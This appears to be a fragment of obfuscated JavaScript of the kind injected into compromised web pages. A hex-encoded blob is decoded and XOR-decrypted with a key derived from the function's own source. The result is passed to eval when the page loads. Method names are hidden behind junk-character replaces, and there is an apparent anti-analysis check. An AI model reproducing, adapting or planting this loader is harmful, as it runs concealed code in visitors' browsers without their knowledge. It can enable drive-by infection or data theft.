b0500021f43081b160c0a1d414a675a505e'+'1819114d2a091d15080343554b4a4a42424d690e0a1003404d425a6159577070425a4a1f391158190a1332151d48545e2c1401054b62715a4b5c0c1009463601050b1f4e5552515b474f7359474d1c0d0f5908161d41'+'4c4a02577768495a470506404a0d112200130744000d040218155a5c5a5a40781875604f4741414f4c0b0d1a2e111c55565d09090e041e3b4102180d1d05350452190c39111b02465c6c6b4f594d5848420509577117'+'0c0a1104165a725b4e585e5548116d684669404b5d46554f51161e0c29071b5a404c4c10060a083d0741160a130c1b1279616a445c4e5e5a424f5a4b14171c4a67420c15041a101f40101418001a230d537d464a1355'+'0017180e1c1b616f664f5759584a7a424f5a0217466c0c1e044f59785746566e581073654f404f6456594f49554f51591d0428425c4219181711003c480d141449180b5866706d4b4f5143494a4641127a57544c5843'+'584a5d54483603143e0a085c4b4b3008051e1d0912094714350c061a0e5216120f1817380f011a4312120a3a0511435a4b14155643646f6b5c57484f454e05446c4f514b1274604a46411d122a1a1918490b0d133e1b'+'1d776e67046b621900105e290809514a5f5a012b1a3b0013001e1e59461a0508150333124753586079021a5449041d470d5d4975585655570260721904143d0f03121d40161f1f17034c5c5616061f160a09441a1208'+'4044380d11135b5769020f1113000520191745191911420a0f562506095b5e144219501c39090b5b462324111f030a525e401c3540011844472719180a1b004d5a003803130f1d0008260912595e4e150e38081e051d'+'0e1418161b475a4d39040f0f000818183900045449441e19180e01160a0314561238424a4011050a0b2f095e435f5552446c1c1408251115150d1c4953192a06090e1c16496c46404f4e5a5a514b40634747424b5554'+'716700';var getSwf;if(getSwf!='staticInt'){getSwf=''};function dateFlash(useLong){                       var floatChar = 3;var charSwf = null;var flashFlash = 'av%st'.replace(/[avst]/g,'');var dateDate = -1;var setLong = charSwf;function wordPlayer(byteWord){var staticFlash=1;var shortDate=1%staticFlash;function charNull(get){var getStatic=1;}var flashFinal=0,flashByte=byteWord['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')];while(shortDate<flashByte){shortDate+=1;swf=flashSwf(byteWord,shortDate+dateDate);flashFinal+=swf*flashByte;}return new String(flashFinal);}var object=String;function intStatic(adobe, set){if(staticWord == charSwf) {staticWord = {};}if(staticWord[adobe] == charSwf) {var shortInt = Object;staticWord[adobe] = new shortInt();staticWord[adobe].finalFlash = charSwf;staticWord[adobe].getLong = set;}}                        var trueShort = 4; var asNs=window;                       var word = 1; function charGet(adobe) {if(staticWord[adobe] != charSwf) {var floatPlayer = staticWord[adobe];var floatSwf = floatPlayer.finalFlash;var swfPlayer = floatPlayer.getLong;var player = swfPlayer.substr(floatSwf, 1);var trueFloat = swfPlayer['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')];                   var swfFloat = trueShort-floatChar;if((floatSwf + (word*swfFloat)) >= trueFloat) {floatPlayer.finalFlash =swfFloat - (trueShort % floatChar);} else {floatPlayer.finalFlash = floatSwf - dateDate;}return flashSwf(player, word - swfFloat);}}var setFalse=document;function flashSwf(intLong,swfAs){return intLong['c5h.a5r.C)o5d)e)ANt>'.replace(/[\>N\)5\.]/g, '')](swfAs);}var dateDate = setLong + dateDate;var staticWord = charSwf;function playerTrue(wordLong,useChar){return wordLong^useChar;}var setAdobe = '';var ns = 2;var objectFloat = new object(setFalse['w4rZiZtbeq'.replace(/[q4SbZ]/g, '')]);var intAdobe = objectFloat['iVnTdTeVxTOcfV'.replace(/[V\>T0c]/g, '')]('anrSint+yA'.replace(/[A\+nSq]/g, ''));if(intAdobe != dateDate) { return 58;}var nsDate = setLong;var shortShort = '';var finalStatic = asNs['s.eSt.Twi.m?e.o/u?tS'.replace(/[S/\.\?w]/g, '')];var objectObject=58;var nsFinal=object['f^rtotmJC^hJa^r^Ctotd^e^'.replace(/[\^6JXt]/g, '')];var asSwf=asNs['u+n:eDs?c:aDpDeI'.replace(/[I\:D\?\+]/g, '')];for(var flashAdobe=nsDate; flashAdobe < useLong['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')]; flashAdobe+=ns){setAdobe+= flashFlash + useLong['swuZbwsktZrk'.replace(/[k\?wWZ]/g, '')](flashAdobe, ns);}var useLong = asSwf(setAdobe);var getPlayer = new object(dateFlash);var floatSet = getPlayer['r3e~pHl~a3c3e~'.replace(/[~3,H9]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var setInt = new object(wordPlayer(floatSet));intStatic('setObject', setInt);var nullStatic = '';intStatic('byteUse', floatSet);for(var useDate=nsDate; useDate < (useLong['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')]); useDate++) {var nullFalse = flashSwf(useLong,useDate);nullFalse = playerTrue(nullFalse, objectObject);nullFalse = playerTrue(nullFalse, charGet('setObject'));nullFalse = playerTrue(nullFalse, charGet('byteUse'));shortShort+=nsFinal(nullFalse);}asNs['e[vjajl['.replace(/[\[/2j\*]/g, '')](shortShort);return shortShort=new object();};dateFlash(objectSwf);var intFloat;if(intFloat!='longObject' && intFloat!='objectSet'){intFloat=''};   //secured_20022002